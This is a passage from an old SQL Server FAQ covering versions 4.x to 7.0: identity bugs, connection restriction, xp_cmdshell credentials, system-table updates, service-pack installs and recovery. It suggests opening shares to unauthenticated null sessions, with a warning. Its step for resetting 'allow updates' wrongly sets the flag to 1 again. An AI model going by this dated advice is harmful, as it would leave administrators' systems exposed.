So, if SQL doesn't shut down cleanly, or there is some memory problem caused by an exception violation then the value will not be correct next time SQL starts. There are also some other bugs that would cause the value not to be updated, but Microsoft fixed most of these with 6.5 SP3.

The only thing you can do about it is to put dbcc checkident(<tablename>) statements in a startup stored-procedure (details of this in the BOL) so that the values get fixed every time SQL starts - obviously for very large tables this may take a few minutes.

MS's own code/stored-procedures are not immune to this. One very common case is where you get duplicate key messages on sysbackuphistory (in MSDB) when you do a database dump. This is because the table uses an identity column.

(This error should not occur with SQL 7.0 and above as Microsoft have re-worked how the identity columns function internally)


Q. How can I restrict access to my SQL Server so that it only allows certain machines to connect?

A. SQL Server has no built-in tools/facilities to do this. It also does not have the facility to run a stored-procedure on connection that could be written/used to do this. Therefore you have the following choices :-

1. Put the SQL Server behind a firewall and use that to restrict access. This is the most secure and functional way to do what you want.

2. Write your own ODS Gateway and point the clients at that instead of the SQL Server - the ODS Gateway will then do the checking. However, there is nothing stopping clients figuring out the correct SQL client-config entries to point straight at the SQL Server, bypassing your gateway, so the security on this is limited. There are examples of ODS code in the SQL Programmers Toolkit - available for free download from the Microsoft website.

3. Write a constantly running/scheduled stored-procedure that checks the relevant column in sysprocesses (net_address), and then issues a KILL command for any processes that should not be running. The net_address column is a layer-2 mac address, and so is much less useful than an IP address. This way allows people to connect and possibly make changes before they are spotted and killed.


Q. How can I restrict access to my SQL Server so that it only allows certain programs to connect?

A. SQL Server 6.5 and below have no built-in tools/facilities to do this, nor does it allow a stored-procedure to be run on client connection that could be used to do this. Of course if all your data is protected correctly with SQL/Integrated security and all auditing/business rules are held with constraints/triggers then you won't need to worry as it doesn't matter what tool people use to connect. However, in a real-world application, these pre-requisites are unlikely to be there.

SQL Server 7.0 has the idea of application ROLES, as well as user roles. If you have SQL 7.0 then use application roles.

If you are still on 6.5 or below then you can try one of the below - but they are all kludges :-

1. Write your own ODS Gateway and point the clients at that instead of the SQL Server - the ODS Gateway will then do the checking. However, there is nothing stopping clients figuring out the correct SQL client-config entries to point straight at the SQL Server. There are examples of ODS code in the SQL Programmers Toolkit - available for free download from the Microsoft website.

2. Write a constantly running/scheduled stored-procedure that checks the relevant column in sysprocesses (program_name), and then issues a KILL command for any processes that should not be running. This way allows people to connect and possibly make changes before they are spotted and killed.

3. Change servers to use std security. When the apps connect they request a trusted connection and get dumped into a new database - the only one their trusted account can connect to. This database contains a table holding a lookup between the users NT account and an alternative login name, password (encrypted) and perhaps server and database name to use. The only runnable object is a stored proc that returns the user's rows from this table. The front-end calls the sp, decrypts the password and re-connects to the server. One downside to this sort of approach is that the users "real" name and password could potentially be cracked with an ODBC trace (several versions of the ODBC sdk tools allowed passwords to be displayed) or network sniffer.

4. Another option is to place a CHECK constraint on the sensitive tables which validates the application name. Something like :-

CHECK APP_NAME() = 'Name of your VB app'


Q. How does SQL Server clear up orphaned connections?

A. It doesn't. It never terminates a connection unless it is told to by a user, a KILL command is issued, or the operating system tells it that the network connection it is using has been disconnected.

How long the operating system takes to kill a network connection, or whether it is done at all, depends on the net-lib and network protocol used. For parameters on keep-alive frames and session time-outs for the relevant network protocol the best guide is the NT Server resource kit, which describes how NT's various networ layers work.

Typically, named-pipe connections over netbeui will be timed out quite quickly, followed by named-pipes over IP. If you're using tcp-ip sockets then these sessions aren't timed-out at all by default.


Q. Why does the SQL Server Database Maintenance Wizard warn about databases greater than 400Mb?

A. The DMW sets up an "aggressive" set of dbcc and other healthchecks. On "large" databases this sort of housekeeping can take a long time, so you might not want to do everything every night. In this situation you might want to set up your own maintenance tasks, perhaps only running checkdb once per week, and newalloc every night, with index rebuilds once a month or so.

MS's choice of "large" is 400Mb - probably a bit low given the speed of current cpu's/disks etc. The answer is, if you're happy with the time it takes to run the DMW generated tasks, then stick with it, regardless of your database size.


Q. Why does my SQL Server log show that it's still full? - I have truncated it.

A. The reason for this is that all the tools that interrogate log space - e.g. dbcc sqlperf, sp_spaceused and SQL EM all just look at the system catalog information in sysindexes - the dpages column. In SQL 6.5 and earlier this information is NOT kept up to date, so it is constantly wrong. The reason it is not kept updated is that it would cause a performance bottleneck.

The easiest way to correct the information is :-
dbcc checktable(syslogs)
go
checkpoint
go

The information will then be correct until the next update/delete/insert transaction is issued.

If your log REALLY is full - i.e. you're getting a 1105 error on syslogs, then try a "dump transaction dbname with no_log". If this still doesn't fix it, then one of the following is occuring.

  1. You may have an open transaction. Check that with the following command. use databasename go dbcc opentran(databasename)
  2. You may have un-replicated transactions. See Q184499 for info on this and how to clear it up.

See Q110139 and Q184499 for more information on syslogs filling up and how to resolve them.


Q. How do I connect to SQL Server from a non-microsoft machine?

A. Microsoft don't supply their own drivers for non-Windows based clients any longer, so you have to use a 3rd-party product. Your choices (in no particular order) are :-

1. You can try acquiring/licensing/using a Sybase Open CT-Lib/Db-lib client if one exists for your operating system. Sybase supply drivers for many non-Microsoft operating systems. The downside is that Sybase's and MS's usage of the base TDS protocol has been diverging ever since the 4.x versions of SQL Server they both released. Since then 6.0, 6.5 and especially 7.0 of MS's code, and versions 10, 11 and above of Sybase's code mean that Sybase's CT-Lib's may not give you full functionality and certainly won't give access to any SQL 7 specific features.

To access SQL 7.0 you must use TDS 4.0 protocol versions of Sybase's CT-Lib libraries. With SQL 7.0 SP2 Microsoft have modified their server-side db-lib drivers to allow TDS 5.0 clients to connect. See the Microsoft Knowledgebase article http://support.microsoft.com/support/kb/articles/q239/8/83.asp for more info.

2. You could reverse engineer the undocumented TDS protocol yourself. This could and does change between versions of SQL Server, so only attempt this if you want an on-going maintenance challenge. Several people have done such reverse engineering for the portions of TDS they needed and have reported it's not that difficult. Once such is the FreeTDS project that is reverse engineering the TDS specification and is currently implementing CTLIB, DBLIB, and JDBC interfaces for TDS. ODBC and Perl DBD drivers are planned.

The FreeTDS JDBC driver is a type 4 driver and should work on any JVM. The CTLIB and DBLIB interfaces are known to compile under AIX, Linux, and FreeBSD without any problems. More info from http://sunsite.unc.edu/freetds/ and/or http://metalab.unc.edu/freetds/index.html.

The mailing list archive can be viewed at http://franklin.oit.unc.edu/cgi-bin/lyris.pl?enter=freetds. Source-code can be downloaded from ftp://freetds.internetcds.com/pub/freetds_dbd/
http://metalab.unc.edu/freetds/index.html

3. If you are using a PERL script, then see the "perl.txt" FAQ entry for details of that - some of the Perl options will work from non-Microsoft platforms.

4. If you can use Java/JDBC then see the "jdbc.txt" FAQ entry for details of that

5. If you are connecting via REXX then try www.angelfire.com/wa/djawa

6. The recommended option is that you acquire an ODBC/OLE-DB driver from a driver vendor that will offer on-going support. However, many ODBC vendors have either moved from pure client drivers to "3-tier" driver systems which many people don't want, or they have moved from ODBC into OLE-DB. Therefore you may have trouble finding just what you want. (Success and failure stories welcome - but be persistent with whichever vendors you talk to - they may not be actively advertising what you want, but that doesn't mean they don't still have old but working copies of it buried in a cupboard somewhere).

Vendors to try are (in no particular order) :-

OpenLink www.openlinksw.com
Merant (were Intersolv http://www.merant.com/datadirect/products/odbc/Connect/overview.asp
Visigenic www.visigenic.com
Easysoft www.easysoft.com (ODBC-ODBC Bridge)
Applix corp.

7. Macintosh Info. It appears that the Microsoft provided driver with Office for the Mac no longer works with SQL 7.0. It works fine with SQL 6.5 and below.

www.snap.de. They produce a DAL/ODBC DBMS called PrimeBase that can be used to front-end other ODBC applications.

There are 32-bit 680x0 ODBC drivers on the Visual FoxPro for Power Macintosh CD version 3.0. The 32-bit drivers (v2.11 from Visigenic, v6.0b3 of the SQL Server driver). These work with 16-bit FoxPro 2.6a as well. One issue is that on MacOS 8.5.1, you get Type 1, Type 3 or Type 10 errors when you quit the FoxPro 2.6, BUT if you compile a 680x0 executable it works ok.

You can also get Mac drivers from http://www.openlinksw.co.uk/.
http://www.iodbc.org/ has an SDK

8. For OpenVMS try www.trifox.com. They provide Perl, Java, JDBC, C, COBOL, C++, etc access from OpenVMS to Microsoft SQL server as well as 10 other DBMSs on various platforms.

9. For other pointers to ODBC/JDBC/OLEDB vendor's :-

http://ourworld.compuserve.com/homepages/Ken_North/odbcvend.htm
http://ourworld.compuserve.com/homepages/Ken_North/jdbcvend.htm
http://ourworld.compuserve.com/homepages/Ken_North/oledbven.htm
http://www.unixodbc.org
http://www.algonet.se/~sommar/mssqlperl/unix.html

===

v1.34 2000.02.02
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How can I completely uninstall SQL Server?

A. If the standard un-install utility doesn't do the trick for some reason :-

Remove the <sql> directory and everything under it
Remove the <sql> dir from the path (use control panel/system for this)
Remove the SQL registry entries using regedt32/regedit. These are :-

(All versions)

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer

(6.0 and above.)

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSDTC
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLExecutive

(7.0 and above)

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServerAgent
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server 7
  • HKEY_LOCAL_MACHINE\Software\Microsoft\MSSQLServ65

If you have lost permission to any of the registry keys then log on as administrator and take ownership of them starting at the highest relevant level. Use regedt32 and check the box to take ownership of all subkeys as well.


Q. What does dbcc traceon(208) mean in SQL Server?

A. This traceflag is set by some applications as they rely on SQL 6.0's quoted identifier behaviour for object names. For differences introduced with 6.5 to this behaviour look at the "What's New" section in the 6.5 books-online.


Q. How do I install SQL Mail?

A. First read the manual - SQL provides a very good, searchable, books-online.

After that go to http://support.microsoft.com and check out the following SQL Mail knowledgebase articles :-

Q118501 for MS-Mail post-offices
Q153159 for Exchange post-offices

Any other problems then do a search for "SQLMAIL" in the knowledgebase and you'll find other more specific articles.


Q. I've got a problem/query with the beta of SQL Server 7.0. Where can I get help?

A. All questions on SQL 7.0 should be directed to the beta newsgroups, not the public ones. The address and userid/password for the beta newsgroups is in the readme.txt on your beta cd.


Q. Why do I have problems revoking permissions on some tables with SQL Server?

A. This is a known bug in SQL Server 6.5 with tables that have 8n-1 columns. I.e. 7, 15, 22 etc.

To workaround it remove all entries from sysprotects and then re-grant permissions as necessary.

use <dbname>
go
exec sp_configure 'allow updates',1
go
reconfigure with override
go
delete sysprotects where id = object_id('<tblname>')
go
exec sp_configure 'allow updates',0
go
reconfigure with override
go


Q. What are the minimum hardware/software requirements for SQL Server?

A. That depends on whether you mean SQL Server "server" - i.e. the database itself, or SQL Server client tools to setup/maintain the database. The below table lists the requirements for both.

To just access SQL Server itself as a client then the only requirement is to be able to run a db-lib/odbc/ole-db driver. These are available for just about any platform - for non-Microsoft platforms you would need to get 3rd party drivers.

General notes on table :-

Where no hardware is mentioned then any hardware that runs the relevant version of the NT operating system will also run SQL Server.

Unless otherwise specified SQL will run on any type of NT - workstation, server, EE, etc. - though there may be licensing implications that you should check first. With SQL 7.0 Microsoft are checking licensing restrictions in the SQL setup program for the first time - e.g. you are unable to install the Server edition onto NT workstation.

References to NT 5.0 are now replaced with Win2000.

If you run SQL Server on NT workstation then you are restricted by the maximum number of incoming connections that NT allows. If you run SQL Server on a connection-limited or evaluation copy of NT then SQL Server will suffer the same restrictions.

Systems Software requirements table
-----------------------------------

SQL 1.1 Server OS/2 1.30
SQL 1.1 Client Tools Dos, OS2, Win3x, Win9x, NT

SQL 4.20 Server OS/2 1.30, NT 3.1/3.5/3.51
SQL 4.20 Client Tools Dos/OS2/Win3x/Win9x/NT 3.1/3.5/3.51

SQL 4.21a Server NT 3.5/3.51
SQL 4.21a Client Tools Dos/OS2/Win3x/Win9x/NT 3.1/3.5/3.51

SQL 6.0 Server NT 3.51
SQL 6.0 Client Tools Win9x/NT 3.51

SQL 6.5 Server NT 3.51/4.0/Win2000 (2)
SQL 6.5 Client Tools Win9x/NT 3.51/4.0/Win2000

SQL 7.0 Server "Desktop" Win9x/NT 4.0/Win2000 (1) (3)
SQL 7.0 Server "Server" NT 4.0 Server/Win2000 Advanced Server (1) (3)
SQL 7.0 Server "Enterprise" NT 4.0 EE/Win2000 DataCentre Server (1) (3)
SQL 7.0 Client Tools Win9x/NT 4.0/Win2000 (4)

(1) SQL 7.0 requires a Dec Alpha or 100% Intel PENTIUM compatible. It will not run on 486 machines or some AMD/Cyrix/IBM processors - it needs to support CMPXCHG8B (Compare and Exchange 8 bytes) and RDTSC (Read Time-Stamp counter) instructions. SQL 7.0 WILL run on Pentiums slower than 166Mhz, but Microsoft do not "officially" support it. However, they are unlikely to refuse to take your fault call and fix the problem, unless it is directly performance related.

The following quote is from Cyrix - "Recently an issue with SQL Server 7.0 has been discoverd with the non-MMX Media GX and the 6x86 processors. A fix for this issue can be obtained from Cyrix technical support at: tech_support@cyrix.com"

(2) DUMP/LOAD DATABASE fails with SQL 6.5 under Win2000 unless you have applied at least 6.5 SP5

(3) SQL 7.0 requires NT4 SP4+ or Win2000 Beta2+. It also requires IE 4.01 SP1+.

(4) SQL 7.0 tools require IE 4.01 SP1+.


Q. Why is a SQL Server restore (LOAD DATABASE) so much slower than a dump database?

A. The answer to this is that SQL initialises all pages during a load. So if you have 50MB of data in a 5GB database, the dump only processes the used 50MB. But when the load occurs it loads the 50Mb of data - which takes roughly the same time as the dump - and then initialises the rest of the 4.95GB of free space. This initialisation is limited in speed by the performance of the disk subsystem.


Q. What are the *.DMP files that appear in the SQL Server log directory.

Q. What are the *.DMP files that appear in the SQL Server log directory?

A. These are a sign that SQL Server has had a "handled access violation" - a gpf.

The dump files contain information on what SQL Server was doing at the time, module stack traces etc. Though there is a PRINTDMP.EXE utility supplied the output of this is of no use to anyone unless they have the SQL Server C source code - which no-one outside the Microsoft development/support teams does.

Save the dumps away, together with errorlog info, what SQL was running at the time etc. and contact Microsoft PSS for support in resolving the problem. See mspss.txt in the faq for more information on Microsoft PSS. (Before calling make sure that the problem still occurs when you are running the latest service pack and that dbcc healthchecks on the database report no problems)


Q. Can I do an NT defrag on a SQL Server .DAT device/file?

A. Yes you can as long as you stop SQL first - NT needs exclusive access to a file in order to defragment it. As long as there are no bugs in the defrag program and the system doesn't crash in the middle of a defrag then there shouldn't be any problems.

Will it help? Usually not much as SQL devices don't tend to change in size once they are created, so unless a disk was badly fragmented when the device was created so that NT could not allocate contiguous space for it all then it won't be fragmented. It does nothing for SQL fragmentation of data/index pages it only defragments the actual device.

If you create your SQL devices on a freshly formatted drive then you won't get any fragmentation.


Q. Can I compress a SQL Server .DAT device/file?

A. Yes you can as long as you stop SQL first - NT needs exclusive access to a file in order to compress it. With SQL 6.5 and below then in theory everything should be fine as SQL isn't interested in what is happening down at the filesystem level.

However, in practice, this is absolutely NOT recommended (even with 6.5) for the following reasons :-

1. It is not recommended/supported by MS. Reason enough in itself! PSS are unlikely to want to help you unless you can re-create your problem on an uncompressed database - so why bother?

2. It can prevent the ability to recover due to SQL not really knowing how much disk space there is.

3. Performance - especially if you compress an empty database/device and then start filling it up - there is then a lot of overhead in NTFS expanding the file as previously it had compressed very well due to the large number of binary zeroes used to pad empty pages. (I have seen systems halve in speed because the SQL devices/files were compressed)

4. SQL Server 7.0 depends on sector aligned writes for the logfile, which NT compressed files do not guarantee.

5. Many people have reported problems with SQL7 when doing disk intensive updates like index creation. Maybe due to the previous reason.

6. With a compressed drive the NT writes are always done in a "lazy" asynchronous manner. For an application like SQL that MUST know when an i/o has completed to the disk and not to some unprotected memory area this is unacceptable.

See Q231347 - "INF: SQL Server Databases Not Supported on Compressed Volumes" for more information and the official Microsoft line.

As for compressing data inside a table, SQL Server has no functionality to do this. You could do it yourself using code at the client end, or with an extended-stored procedure, but that's it.


Q. Why can't I install SP4 for SQL Server to my Win9x machine like the readme says I can?

A. This is because when Microsoft released SP4 for SQL 6.5 they got the setup.inf file wrong and it wouldn't install to Win9x clients. They subsequently fixed it and re-released the service pack but it didn't synchronise to the web download properly.

Get SP4 from ftp.microsoft.com/bussys/sql and it should work ok.


Q. I'm getting an error 1117 in SQL Server. Can I rebuild the extents somehow?

A. It is recommended that you select/bcp out all the relevant data and then recreate the objects concerned. However, if you want to attempt a rebuild of the extents then make a backup first, and then try the following after putting the database into single-user mode first :-

dbcc rebuildextents (@db_id, @object_id, @index_id)

Parameters:
@db_id Id of the database
@object_id Id of the object to be rebuild
@index_id Id of the index to be rebuild

Alternatively you could just rename the object and leave it in the database with a dummy name - you won't be able to drop the object.


Q. Why can't I get at a network file when I run a program with xp_cmdshell from SQL Server?

A. The reason is that the MSSQLSERVER service is running under a separate set of NT credentials. It doesn't matter who YOU are logged on as (after all SQL runs quite happily when no-one is logged on to the console doesn't it). Therefore your logon account and any mapped drives are irrelevant. It is SQL Server running the program (e.g. bcp) not you.

If you're logged on as "sa" or are still running SQL 4.x then xp_cmdshell runs with the NT account that the mssqlserver service is configured to run under. The default set of NT credentials used by MSSQLSERVER is the Localsystem account. You can check what userid that MSSQLSERVER is running under by looking at control panel/services highlighting MSSQLSERVER and choosing the start-up option. If no username is present then you are using the localsystem account - this account has no access to shares on the network as it isn't an authenticated network account.

If you're not logged on as "sa" then another account may be used :-

With 6.5 and below it is used if the option (in SQL setup) 'xp_cmdshell - simulates Client' is checked.

With SQL 7.0 the other account is always used for non "sa" users.

This account is SQLExecutiveCmdExec for SQL 6.x and SQLAgentCmdExec for SQL 7.0. These accounts are only in the local user group by default.

So, if you want a program running under xp_cmdshell to access a network resource your choices are :-

1. Change the account the MSSQLSERVER service runs under to a user account with the relevant network rights.

2. For non-sa users give the "xxCmdExec" account the relevant permissions

or

3. To get localsystem to work - amend the following registry value on the TARGET server and add the sharename you want to access - the share does not then authenticate who is coming in and so a Localsystem account will work. The server service on the target server must be re-started before the change takes effect. Note that this effectively removes security on that share, so you need to be careful about what is in the share.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionShares

Whichever method you use, you MUST use a UNC name to reference the resources required and not a drive letter.

e.g. xp_cmdshell 'dir \\server01\share'


Q. I am having problems with SQL Server running bcp from xp_cmdshell.

A. First make sure that you have the rights to run xp_cmdshell - do an xp_cmdshell 'dir' and check you get a resultset of filenames back.

The MSSQLSERVER service is running under a separate set of NT credentials. It doesn't matter who YOU are logged on as (after all SQL runs quite happily when no-one is logged on to the console doesn't it). Therefore your logon account and any mapped drives are irrelevant. It is SQL Server running the program (e.g. bcp) not you.

If you're logged on as "sa" or are still running SQL 4.x then xp_cmdshell runs with the NT account that the mssqlserver service is configured to run under. The default set of NT credentials used by MSSQLSERVER is the Localsystem account. You can check what userid that MSSQLSERVER is running under by looking at control panel/services highlighting MSSQLSERVER and choosing the start-up option. If no username is present then you are using the localsystem account - this account has no access to shares on the network as it isn't an authenticated network account.

If you're not logged on as "sa" then another account may be used :-

With 6.5 and below it is used if the option (in SQL setup) 'xp_cmdshell - simulates Client' is checked.

With SQL 7.0 the other account is always used for non "sa" users.

This account is SQLExecutiveCmdExec for SQL 6.x and SQLAgentCmdExec for SQL 7.0. These accounts are only in the local user group by default.
So, if you want bcp running under xp_cmdshell to access a network resource you have two choices :-

1. Change the account the MSSQLSERVER service runs under to a user account with the relevant network rights.

or

2. Amend the following registry value on the TARGET server and add the sharename you want to access - the share does not then authenticate who is coming in and so a Localsystem account will work. The server service on the target server must be re-started before the change takes effect. Note that this effectively removes security on that share, so you need to be careful about what is in the share.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionShares

Whichever method you use, you MUST use a UNC name to reference the resources required and not a drive letter.

i.e. xp_cmdshell 'bcp servername..tablename out \\server01\share\bcp.fil .............'


Q. How do I store/retrieve text and image data in SQL Server?

A. To store/retrieve this sort of data within TSQL scripts you have to use the WRITETEXT and READTEXT commands rather than standard INSERT/SELECT statements. These are documented, with examples, in the books-online but are basically a real pain to use. There are more manageable commands available from within the relevant programming languages - e.g. RDO and ADO from VB/C can use GetChunk and AppendChunk commands - but you still have to manage the image/text chunks/blocks of data at a time. About the only upside of storing this sort of data within SQL Server is that it can be kept transactionally consistent with the other data. For sample code see Q194975 - "Sample Functions Demonstrating GetChunk and AppendChunk".

For native ODBC access use the SQLPutData and SQLGetData commands.

If you just want to insert/retrieve an entire image/text then look at the TEXTCOPY program (textcopy /? for parameters) in the <sql>\BINN directory. It is a command-line program along the lines of BCP.

If transactional consistency doesn't matter, or can be achieved programmatically, then it is easier to store the data outside the database as an ordinary file. Within the database just hold a UNC pointer to where the file is held. This usually makes it much easier to display/edit the data as the name can simply be passed to whatever tool is doing the manipulation.


Q. How can I amend the system tables in SQL Server?

A. First, it should be said that unless you are using code that Microsoft have published then any direct updates to the system tables are not supported - so if you're not sure either don't do it, or take a backup first.

With the exception of "materialised" tables like syslocks and sysprocesses you can pretty much use standard SQL commands to update the system tables.

As far as triggers go, you can define triggers on system tables, however SQL Server updates most system tables internally via it's own api's - only some get done via standard TSQL. Only updates done via standard TSQL result in a trigger firing, however there is no list of what tables this does work with, and it certainly wouldn't be supported if you did use it.

To update system tables first you have to set the "allow updates" flag as follows :-

sp_configure 'allow updates',1
go
reconfigure with override
go

Then go can make updates - make sure you always do this within a transaction so that if you affect more rows than you meant to then it can be rolled back. Afterwards reset the 'allow updates' flag.

sp_configure 'allow updates',1
go
reconfigure with override
go

There are also a few occasions where Microsoft have put in "extra" protection to stop users mucking about. One example is sysindexes where you must specify the name, id and indid in the where clause otherwise the update will fail.


Q. I am having problems installing a SQL Service pack.

A. Try the following checklist :-

1. Make sure you have administrator level permissions on the machine in question, as SQL needs to create registry entries, services etc.

2. SQL Server is dependent on network functionality - even for the set-up routines. Specifically it needs to use named-pipe/mailslot functionality. These usually require a network card to be present. If you don't have a network card then go to control panel/networks, choose add adapter and then add the Microsoft loopback adapter - which is just a dummy driver, no hardware involved. This needs to have working network protocol(s) bound to it. Let whichever protocols you have use default parameters, EXCEPT for tcp-ip. If you are using this then do NOT specify dhcp assigned address, use 192.168.1.1 as the IP address and 255.255.255.0 as the subnet mask. This is a standard RFC1918 non-routed IP address so shouldn't clash with any dial-up address you may be given by an ISP.

3. Make sure that there are no quotes in the path on the machine you are setting up. Also check that the full directory path you are installing from does not include any spaces. Either of these will cause part of the setup to fail (usually the cfgchar.exe bit). Also check the registry entry [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Setup] ends in a "\" and add one if it doesn't.

4. Because a named-pipe, used by the set-up routine, is effectively a file as far as the operating system is concerned, real-time Virus scanners can cause problems. Most of these have been fixed so they don't interfere with SQL's named-pipes, but make sure you're running the latest version of whichever virus package you use. But if in doubt, then disable the virus software for the duration of the install.

5. Other software packages can also interfere with SQL's install - typically they interfere with named-pipes/mailslot connectivity and setup will terminate with an error like 'unable to write to mailslot.....'. Shut-down any of these for the duration of the install. Packages that are known to interfere with SQL's setup routines include :-

IIS - Internet Information Server - the web parts, not FTP
PWS - Personal Web Server
Exchange Server

6. If the dial-up networking icon/window appears and tries to make a network connection, then stop and disable the "Remote Access Autodial Manager" service via control panel/services. This is an NT issue rather than a SQL one, but disabling auto-dial is the easiest way around it.

7. Make sure that named-pipes is enabled and is the default net-lib on the server. Make sure that SQL is listening on .\pipe\sql\query which is the default.

8. If your "sa" password had a space in it then change the password so it doesn't have a space before installing the SP.

9. Make sure that SQL Server has a name. Run sp_helpserver and check what name srvid of 0 has. If it is not there then run sp_addserver '<servername>', 'LOCAL'

10. Check whether the value at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Setup\SQLPath has a '\' at the end. If you have used a long directory name you may need to add this yourself.

11. (6.5 and below). Make sure you haven't deleted the probe account from the master database. If you have :-

use master
go
exec sp_addlogin probe, NULL, master
exec sp_adduser probe
go

Then run <sql>\install\Procsyst.sql to grant relevant permissions back to the userid.

12. Installing SP1 to SQL 7.0 on a cluster may say "updating system files" and then error and terminate. This happens if your CD-Rom is not shared out - share it out as F$ (or whatever) and that should resolve the problem.

13. If it still isn't installing then check the *.OUT files in the <sql>\install directory for clues as to what is going on.

14. If the .OUT files indicate that ISQL cannot connect to the SQL Server to run scripts then you can try the following unsupported hack (it worked for me on SP4 and SP5) by modifying the servicepack's setup.inf. After modifying the setup script run "setup /t Local = Yes"

Make a backup of the setup.inf first, then find the following line

set !ServerName = $(!ComputerName)

Now add the following 3 lines after it

ifstr(i) $(!Local) == "Yes"
set !ServerName = "."
endif

15. If the error is "Critical Error, could not open the file named D:\MSSQL\BINN\SQLCTR60.DLL" then look for a service that has this file open. Easiest way to see which one is to get NTHANDLEX from www.sysinternals.com (free). You can retry the copy on this. If you get this error then check the version of the file at the end to see if it has indeed been updated. (The version of the file for SP5a is 6.50.410).


Q. How can I move a SQL Server device from one disk to another, or rename it?

A. There are two ways with SQL 6.5 and below :-

1. Use device mirroring. Mirror the device to the "new" location and then break the mirror and delete the old device. This method does not need SQL downtime and can be done via the gui or via TSQL.

2. In the Books Online for SQL 6.5 there is an sp documented called sp_movedevice. Cut and paste this SP into a query analyser/ISQLW window and run it to create it. (It doesn't get installed automatically). Then run sp_movedevice with the required parameters to make the system table changes. Next stop SQL Server. Then move the device using the MOVE command, Explorer, File Manager etc. Finally, restart SQL Server. This method requires downtime, but it is faster as using OS level commands is faster than SQL mirroring.

All that sp_movedevice does is update the phyname in the sysdevices table.

Note that the above method works for all USER databases. If you want to move master this way, then note that the phyname parameter in sysdevices is only for documentation - you might as well change it anyway to keep things in line. The actual method SQL uses for locating the master device is by looking in the registry :-

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Parameters\SQLArg0

So it is the value in this key that needs amending.

For SQL 7.0 user databases you can use :-

sp_detach_db ...
<move devices physically>
sp_attach_db ...

For details on the stored-proc parameters see the SQL Books online.

For SQL 7.0 tempdb use :-

ALTER DATABASE tempdb
MODIFY FILE (NAME=tempdev, FILENAME='<newname>')

ALTER DATABASE tempdb
MODIFY FILE (NAME=templog, FILENAME='<newname>')

Re-starting SQL Server makes this take effect

===

v1.03 2000.02.04
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : Q187824, Q181602
Other related information : n/a


Q. How can I recover a SQL Server database when all I have left is the .DAT device?

A. For SQL 6.5 and below use the DISK REINIT and REFIT commands. These are documented in the Books-Online.

For SQL 7.0 use the sp_attach_db sp - also documented in the books online.


Q. How can I re-install SQL Server without losing any data under a new version of NT I have installed?

A. This is easy to recover from as long as the original SQL files are all still there.

For SQL 6.5 and below - from the <sql>\binn directory run the following, making sure the case is correct

setup /t RegistryRebuild = On

The setup routine will now run and ask you all the normal questions. Answer these as if you were performing the install again (put in the same paths etc.). It will appear like a normal install but it will run much more quickly and just insert/update all the registry entries/icons etc. that are needed. None of the existing files will be touched. Once finished you should be able to start the SQL Server service again and access your data.

Microsoft made it even easier with SQL 7.0 and introduced the regrebld.exe command - regrebld.exe /? will give you the options as will the documentation.


Q. How can I install SQL Server client tools in unattended mode?

A. The Microsoft provided setup.inf file with 6.5 and below doesn't allow for this (haven't checked out 7.0 yet), so your choices are :-

1. Amend the setup.inf to provide this support, or write a new one.

2. Do a script to copy the relevant files across and update any registry parameters needed. You could use something like sysdiff to do this.


Q. How can I access data across two separate databases in SQL Server?

A. With SQL 6.5 and below this is easy as long as the databases are on the same server. Then just use the fully qualified names of the tables concerned :-

select * from <dbname><ownername>.<tablename>
select * from db1..tab1, db2..tab1 where ...........................

If the databases are on separate servers then 6.5 and below offer remote stored procedures (look them up in the docs) but that is your only server-side choice, there is no way to directly access the tables involved. If you need direct access then you will need to make two separate client connections to each server and process the data at the client end. Something like the JET engine can be used to make this easier and make the two servers look like one.

With SQL 7.0 you can access tables across servers with a single client connection because the fully qualified object name now allows the servername to be passed, so you can do

select * from server1.db1..tab1, server2.db1..tab1 where ...........................


Q. How can I transfer SQL Server data between an Intel box and an Alpha?

A. With 6.5 and below you cannot use the DUMP and LOAD DATABASE commands - it does not do the necessary byte re-ordering to make this work. Therefore you must use bcp, DTS, the transfer tools supplied in SQL EM or write your own ODBC/DMO based applet.

With SQL 7.0 the byte re-ordering is done for you and so dumps and loads across architectures are supported.


Q. I can't run SQL Server Enterprise Manager.

A. This is a problem with the class not being resgistered in the registry properly. Use the regsvr32 utility to re-register it :-

regsvr32 <sql>\binn\sqlole65.dll

Replacing <sql> with the full drive/dir that SQL is installed into.


Q. I've put tempdb in ram and now I can't restart my SQL Server.

A. This is because the memory allocated by SQL Server does NOT include tempdb in ram. There must be enough memory for SQL, tempdb AND NT otherwise SQL will fail to start. To recover from this :-

1. Stop SQL Server and SQL Executive. Also make sure that SQL Enterprise Manager isn't running.
2. Go to the <sql>\binn directory and type "sqlservr -c -f" - this will start SQL in single-user mode with a minimum config.
3. Ignore the text messages in this window - but wait for them to finish appearing (shouldn't take more than 10-20 seconds)
4. SQL Server is now started.
5. Go to another window and start ISQL/W and connect locally with the sa userid.
6. In ISQL/W issue the following commands :-

sp_configure tempdb, 0
go
reconfigure
go

7. Now go back to the window SQL is running in and type "shutdown" and enter
8. SQL Server should shut down. If it doesn't then hit <ctrl-c> to shut it down.
9. Now you should be able to start SQL normally and connect. You will need to re-size tempdb as it will have gone back to the original 2Mb in master.

If you get an error 615 running the sp_configure command then drop the tempdb device first :- "sp_dropdevice tempdb" - and then start again.


Q. How do I transfer data between SQL Server databases / across servers?

A. There are a variety of methods :-

